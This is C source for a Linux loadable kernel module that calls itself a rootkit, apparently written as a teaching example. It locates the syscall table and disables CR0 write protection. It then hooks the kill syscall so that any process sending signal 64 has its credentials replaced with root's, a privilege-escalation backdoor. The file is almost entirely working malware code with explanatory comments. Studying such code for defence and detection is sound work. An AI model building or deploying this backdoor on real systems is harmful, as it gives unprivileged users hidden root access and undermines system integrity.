#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/syscalls.h> #include <linux/kallsyms.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); MODULE_DESCRIPTION("Giving root privileges to a process"); MODULE_VERSION("0.01"); static unsigned long * __sys_call_table; typedef asmlinkage long (*orig_kill_t)(const struct pt_regs *); orig_kill_t orig_kill; /* We can only modify our own privileges, and not that of another * process. Just have to wait for signal 64 (normally unused) * and then call the set_root() function. */ asmlinkage int hook_kill(const struct pt_regs *regs) { void set_root(void); // pid_t pid = regs->di; int sig = regs->si; if ( sig == 64 ) { printk(KERN_INFO "rootkit: giving root...\n"); set_root(); return 0; } return orig_kill(regs); } /* Whatever calls this function will have it's creds struct replaced * with root's */ void set_root(void) { /* prepare_creds returns the current credentials of the process */ struct cred *root; root = prepare_creds(); if (root == NULL) return; /* Run through and set all the various *id's to 0 (root) */ root->uid.val = root->gid.val = 0; root->euid.val = root->egid.val = 0; root->suid.val = root->sgid.val = 0; root->fsuid.val = root->fsgid.val = 0; /* Set the cred struct that we've modified to that of the calling process */ commit_creds(root); } /* The built in linux write_cr0() function stops us from modifying * the WP bit, so we write our own instead */ inline void cr0_write(unsigned long cr0) { asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); } /* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which * determines whether read-only pages can be written to. We are modifying * the syscall table, so we need to unset it first */ static inline void protect_memory(void) { unsigned long cr0 = read_cr0(); set_bit(16, &cr0); cr0_write(cr0); } static inline void unprotect_memory(void) { unsigned long cr0 = read_cr0(); clear_bit(16, &cr0); cr0_write(cr0); } /* Module initialization function */ static int __init rootkit_init(void) { /* Grab the syscall table */ __sys_call_table = kallsyms_lookup_name("sys_call_table"); /* Grab the function pointer to the real sys_kill syscall */ orig_kill = (orig_kill_t)__sys_call_table[__NR_kill]; printk(KERN_INFO "rootkit: Loaded >:-)\n"); printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); printk(KERN_DEBUG "rootkit: kill @ 0x%lx\n", orig_kill); unprotect_memory(); printk(KERN_INFO "rootkit: hooking kill syscall\n"); /* Patch the function pointer to sys_kill with our hook instead */ __sys_call_table[__NR_kill] = (unsigned long)hook_kill; protect_memory(); return 0; } static void __exit rootkit_exit(void) { unprotect_memory(); printk(KERN_INFO "rootkit: restoring kill syscall\n"); __sys_call_table[__NR_kill] = (unsigned long)orig_kill; protect_memory(); printk(KERN_INFO "rootkit: Unloaded :-(\n"); } module_init(rootkit_init); module_exit(rootkit_exit);